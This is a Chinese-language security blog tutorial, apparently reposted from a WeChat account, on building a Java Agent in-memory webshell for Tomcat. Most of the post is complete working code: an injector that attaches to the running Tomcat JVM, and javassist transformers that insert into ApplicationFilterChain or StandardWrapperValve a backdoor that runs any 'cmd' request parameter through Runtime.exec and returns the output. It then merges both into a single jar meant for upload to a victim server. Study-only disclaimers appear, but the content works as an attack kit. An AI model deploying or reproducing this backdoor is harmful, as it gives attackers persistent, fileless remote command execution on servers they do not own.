Java 安全 | Agent 内存马

admin 2024年11月23日00:59:29评论5 views字数 14668阅读48分53秒阅读模式

Agent 内存马

为之前的javaAgent & javassist的做一个实操: 

https://mp.weixin.qq.com/s/3Zy6P3lB9CpJ6Y0EICP0Lg

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

初代版本

前置知识: https://mp.weixin.qq.com/s/3Zy6P3lB9CpJ6Y0EICP0Lg

需要三个步:

  • 上传inject.jar到服务器 (使用VirtualMachine进行枚举PID并进行Attach, loadAgent我们的agent.jar)
  • 上传agent.jar到服务器 (定义agentmain方法, 并在其配合 javassist修改正常服务字节码, 实现注入)
  • 执行java -jar inject.jar

需要上传两个 jar 文件, 并且具备执行一条命令的权限, 即可完成内存马的注入.

具体实现

这里可以创建一个空的Tomcat or SpringBoot进行测试, 这里准备一个特别正常的项目:

Java 安全 | Agent 内存马

为了调试代码方便, 当前 Tomcat 准备如下依赖:

<properties>
 <tomcat.version>8.5.0</tomcat.version>
</properties>
<dependencies>
    <!-- Tomcat 核心库 -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>${tomcat.version}</version>
      <scope>provided</scope>
    </dependency>
    <!-- Tomcat 工具库 -->
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-util</artifactId>
      <version>${tomcat.version}</version>
      <scope>provided</scope>
    </dependency>
    <!-- JSP API -->
    <dependency>
      <groupId>javax.servlet.jsp</groupId>
      <artifactId>jsp-api</artifactId>
      <version>2.2</version>
      <scope>provided</scope>
    </dependency>
    <!-- JSTL 标签库 -->
    <dependency>
      <groupId>javax.servlet.jsp.jstl</groupId>
      <artifactId>jstl-api</artifactId>
      <version>1.2</version>
      <scope>provided</scope>
    </dependency>
    <!-- Servlet API -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
      <scope>provided</scope>
    </dependency>
</dependencies>

ApplicationFilterChain Hook

在之前做Tomcat Filter 内存马时知道, WEB 服务器每次响应都会进入org.apache.catalina.core.ApplicationFilterChain::internalDoFilter方法, 例如 (本次 HTTP 请求):

Java 安全 | Agent 内存马

而因为和每次请求相关, 方法中也可以得到request对象, 所以这里是一个比较合适的 Hook 点, 我们可以通过JavaAgentagentmain使org.apache.catalina.core.ApplicationFilterChain这个类进行重新加载, 随后在加载途中使用javassist技术进行插桩, 即可完成本次的Agent内存马注入.

准备 agentmain

pom.xml文件内容:

<build>
    <finalName>${project.artifactId}</finalName>
    <plugins>
        <plugin>
            <artifactId>maven-assembly-plugin</artifactId>
            <configuration>
                <archive>
                    <manifestFile>${project.basedir}/src/main/resources/META-INF/MANIFEST.MF</manifestFile>
                    <!-- 需本地创建 /META-INF/MANIFEST.MF 文件 -->
                </archive>
                <descriptorRefs>
                    <descriptorRef>jar-with-dependencies</descriptorRef>
                </descriptorRefs>
            </configuration>
            <executions>
                <execution>
                    <id>make-assembly</id> <!-- this is used for inheritance merges -->
                    <phase>package</phase> <!-- bind to the packaging phase -->
                    <goals>
                        <goal>single</goal>
                    </goals>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.30.2-GA</version>
    </dependency>
</dependencies>

准备如下代码:

public class MyAgentMain {
    private static final String CLASSNAME = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new MyClassFileTransformer(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
        for (Class clazz : allLoadedClasses) {
            try {
                if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
                    inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
                }
            } catch (UnmodifiableClassException e) {
                e.printStackTrace();
            }
        }
        System.out.println("agentmain");
    }

    static class MyClassFileTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            if (className.equals(CLASSNAME.replace(".""/"))) {
                try {
                    ClassPool classPool = ClassPool.getDefault();
                    if (classBeingRedefined != null) {
                        ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
                        classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
                    }
                    CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
                    // 获取到该方法
                    CtMethod internalDoFilterMethod = ctClass.getDeclaredMethod("internalDoFilter"new CtClass[]{classPool.get("javax.servlet.ServletRequest"), classPool.get("javax.servlet.ServletResponse")});
                    String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
                    // 在方法前加入代码块
                    internalDoFilterMethod.insertBefore("{" + code + "}");
                    return ctClass.toBytecode();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return null;
        }
    }
}

并且定义/META-INF/MANIFEST.MF文件内容如下:

Agent-Class: com.heihu577.MyAgentMain
Can-Retransform-Classes: true
Can-Redefine-Classes: true

随后使用Maven插件进行打包为agent.jar即可, 随后上传到受害机.

准备 Attach

引入tools:

<dependencies>
    <dependency>
        <groupId>com.sun.tools.attach</groupId>
        <artifactId>MyTools</artifactId>
        <version>1.0</version>
        <scope>system</scope>
        <!-- 将 ${java.home}/../lib/tools.jar 拷贝到当前目录 -->
        <systemPath>${pom.basedir}/lib/GenericAgentTools.jar</systemPath>
    </dependency>
</dependencies>

接下来再新建一个项目, 放入如下代码:

public class Main {
    public static void main(String[] args) throws Exception {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) { // 获取当前系统中所有虚拟机实例的描述符列表
            if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) { // Tomcat 启动标志
                VirtualMachine attach = VirtualMachine.attach(vmd.id()); // attach
                // 加载具体 agent jar 文件
                attach.loadAgent(args[0], "");
                attach.detach(); // 断开
                System.out.println("Attach Success!");
            }
        }
    }
}

随后直接使用IDEA工具进行打包即可, 将tools.jar (JDK自带)这个文件一起打包进去. 命名为inject.jar, 这里因为要使用IDEA进行打包, 所以我们必须将${java.home}/../lib/tools.jar复制到当前项目的lib目录下, 并且设置打包时将依赖放入即可:

Java 安全 | Agent 内存马

最终实现

Java 安全 | Agent 内存马

但是这里命令执行结果有一个问题, 在 Tomcat 环境下, 会返回两次命令执行结果, 而 SpringBoot 下, 会执行五次 (因为 SpringBoot 会有四个默认的 Filter), 所以这里导致重复执行并不是理想效果, 我们看看有没有其他Hook点, 在整个 Tomcat 执行流程中, 只会执行一次, 并且传递了request对象.

StandardWrapperValve

ApplicationFilterChain::doFilter进行DEBUG, 看一下调用栈过程:

Java 安全 | Agent 内存马

在之前了解 Tomcat 架构时, 曾了解过Valve, 这里只会调用一次, 所以这里的StandardWrapperValve::invoke方法接收的request也可以当一个Hook点. 而这里的request对象实际上是

那么针对该情况定义一个agent.jar, 它的agentmain方法定义如下:

public class MyAgentMain {
    private static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
    private static final String METHODNAME = "invoke";

    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new MyClassFileTransformer(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
        for (Class clazz : allLoadedClasses) {
            try {
                if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
                    inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
                }
            } catch (UnmodifiableClassException e) {
                e.printStackTrace();
            }
        }
        System.out.println("agentmain");
    }

    static class MyClassFileTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            if (className.equals(CLASSNAME.replace(".""/"))) {
                try {
                    ClassPool classPool = ClassPool.getDefault();
                    if (classBeingRedefined != null) {
                        ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
                        classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
                    }
                    CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
                    // 获取到该方法
                    CtMethod invokeMethod = ctClass.getDeclaredMethod(METHODNAME, new CtClass[]{classPool.get("org.apache.catalina.connector.Request"), classPool.get("org.apache.catalina.connector.Response")});
                    String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
                    // 在方法前加入代码块
                    invokeMethod.insertBefore("{" + code + "}");
                    return ctClass.toBytecode();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return null;
        }
    }
}

其中打包不再重复演示, 其中做了略微修改, 观察一下即可.

最终实现

Java 安全 | Agent 内存马

最终只执行一次命令. 达到了最终的效果.

合并版本

由于上面需要上传两个JAR, 操作起来相对来说是比较繁琐的, 而这个版本将agent.jar & inject.jar进行合并了, 在实战中我们只需要上传一个JAR即可完成注入. 需要如下两步:

  • 在受害机上进行上传inject.jar, 执行main方法则是attach, attach到了执行该jar中的agentmain.
  • 受害机执行java -jar inject.jar

具体实现

因为是合并操作, 所以这里pom.xml引入依赖如下:

<dependencies>
    <dependency>
        <groupId>com.sun.jdk</groupId>
        <artifactId>tools</artifactId>
        <version>1.8</version>
        <scope>system</scope>
        <systemPath>${java.home}/../lib/tools.jar</systemPath>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.30.2-GA</version>
    </dependency>
</dependencies>

准备com.heihu577.Main如下:

public class Main {
    private static final String CLASSNAME = "org.apache.catalina.startup.Bootstrap";

    public static void main(String[] args) throws Exception {
        // 得到 绝对路径 当前jar包名称.jar!/com/heihu577/Main.class
        String classPath = Main.class.getClassLoader().getResource(Main.class.getName().replaceAll("\.", "/") + ".class").getPath();
        // 得到 jar 包绝对路径, 绝对路径: 当前jar包名称.jar
        String jarPath = classPath.substring(0, classPath.indexOf("!")).replace("file:/""");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor vmd : list) { // 获取当前系统中所有虚拟机实例的描述符列表
            if (vmd.displayName().contains(CLASSNAME)) { // Tomcat 启动标志
                VirtualMachine attach = VirtualMachine.attach(vmd.id()); // attach
                // 加载自己的 jar 文件
                System.out.println(jarPath);
                attach.loadAgent(jarPath, "");
                attach.detach(); // 断开
                System.out.println("Attach Success!");
            }
        }
    }
}

这里classPath变量可以通过当前的ClassLoader得到当前的class文件位置的绝对路径, 而由于class文件位置在jar包中, 所以在这里可以得到当前执行jar文件的绝对路径, 后续再attach自己本身即可.

准备com.heihu577.AgentMain类(它们都在同一个项目中)如下:

public class AgentMain {
    private static final String CLASSNAME = "org.apache.catalina.core.StandardWrapperValve";
    private static final String METHODNAME = "invoke";

    public static void agentmain(String args, Instrumentation inst) {
        inst.addTransformer(new MyClassFileTransformer(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses(); // 得到所有加载过的 class
        for (Class clazz : allLoadedClasses) {
            try {
                if (clazz.getName().equals(CLASSNAME)) { // 判断当前 class 是否为 ApplicationFilterChain
                    inst.retransformClasses(clazz); // 准备重新加载, 并参与字节码转换
                }
            } catch (UnmodifiableClassException e) {
                e.printStackTrace();
            }
        }
        System.out.println("agentmain");
    }

    static class MyClassFileTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            if (className.equals(CLASSNAME.replace(".""/"))) {
                try {
                    ClassPool classPool = ClassPool.getDefault();
                    if (classBeingRedefined != null) {
                        ClassClassPath ccp = new ClassClassPath(classBeingRedefined); // 通过当前类得到加载路径
                        classPool.insertClassPath(ccp); // 指明 ClassPool 加载路径, 否则类加载不到
                    }
                    CtClass ctClass = classPool.get(CLASSNAME); // 得到该 CLASSNAME
                    // 获取到该方法
                    CtMethod invokeMethod = ctClass.getDeclaredMethod(METHODNAME, new CtClass[]{classPool.get("org.apache.catalina.connector.Request"), classPool.get("org.apache.catalina.connector.Response")});
                    String code = "String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.getWriter().println(new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(new String(new byte[]{0})).next()); } catch (Exception e) { e.printStackTrace(); } }";
                    // 在方法前加入代码块
                    invokeMethod.insertBefore("{" + code + "}");
                    byte[] bytecode = ctClass.toBytecode(); // 得到最终生成的字节码
                    ctClass.defrost(); // 由于调用完 toBytecode 后, 类将会被冻结, 在第二次进行 agent 注入时, 会报错, 所以这里提前解冻.
                    return bytecode;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            return null;
        }
    }
}

当然在这里需要定义/META-INF/MANIFEST.MF文件内容如下:

Manifest-Version: 1.0
Main-Class: com.heihu577.Main
Agent-Class: com.heihu577.AgentMain
Can-Retransform-Classes: true
Can-Redefine-Classes: true

随后使用IDEA工具进行打包:

Java 安全 | Agent 内存马

最终执行效果:

Java 安全 | Agent 内存马

关于其他

文件无落地参考: https://mp.weixin.qq.com/s/xxaOsJdRE5OoRkMLkIj3Lg 这一部分需要 JNI 的知识了.

另外, Agent 内存马在实战中可能会出现attach.dll找不到的问题, 解决方法: https://www.cnblogs.com/sui84/p/11788648.html

特别注意的是, 本地的javac.exe & java.exe一定要一致, 否则也会出现 JNI 错误.

Reference

Java Agent 内存马: https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%88%A9%E7%94%A8-java-agent-%E6%B3%A8%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC

Java Agent 内存马演变历史: https://cloud.tencent.com/developer/article/2162256

优雅注入: https://mp.weixin.qq.com/s/xxaOsJdRE5OoRkMLkIj3Lg

su18 JavaAgent: https://su18.org/post/irP0RsYK1/

原文始发于微信公众号(Heihu Share):Java 安全 | Agent 内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月23日00:59:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | Agent 内存马https://cn-sec.com/archives/3427062.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息